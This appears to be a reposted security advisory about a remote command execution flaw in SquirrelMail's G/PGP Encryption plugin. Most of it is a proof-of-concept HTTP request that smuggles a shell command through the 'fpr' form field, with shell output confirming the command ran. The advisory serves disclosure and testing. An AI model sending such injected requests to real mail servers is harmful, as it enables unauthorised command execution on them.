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SquirrelMail G/PGP Encryption Plug-in Remote Command Execution
Vulnerability

SUMMARY

A vulnerability in SquirrelMail's G/PGP Encryption plugin allows remote
attackers to execute arbitrary code on the machine upon the products sits
upon, the following exploit code can be used to test the vulnerability.

DETAILS

Proof of Concept:
testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#

@silverlaptop:~$ nc 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***&fpr= | touch /tmp/w00t |
&pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1

…

testbox:/home/w00t# cat /tmp/w00t
testbox:/home/w00t#

ADDITIONAL INFORMATION

The information has been provided by jmp-esp.
The original article can be found at:
<http://www.milw0rm.com/exploits/4173&gt;
http://www.milw0rm.com/exploits/4173

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